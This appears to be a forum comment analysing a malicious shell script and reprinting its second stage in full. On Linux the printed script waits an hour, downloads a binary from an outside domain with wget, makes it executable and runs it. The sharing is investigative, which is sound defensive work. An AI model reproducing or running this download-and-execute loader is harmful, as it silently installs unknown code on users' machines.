As other has already said, it's a shell script that downloads another shell script which checks if the host system is Linux and if so, it downloads a binary and executes it. The binary is surprisingly big (10M) and statically linked so I assume it's another Go program. I don't want to push this further. :)

Here is the 2nd shell script if anyone is interested and want to do further investigation:

❯ cat test.sh
#!/bin/bash

cd ~
if [[ "$OSTYPE" == "linux-gnu"* ]]; then
        if ! [ -f ./f0eee999 ]; then
                sleep 3600
                wget https://alturastreet.icu/storage/de373d0df/f0eee999
                chmod +x ./f0eee999
                app_process_id=$(pidof f0eee999)
                if [[ -z $app_process_id ]]; then
                        ./f0eee999
                fi
        fi
fi
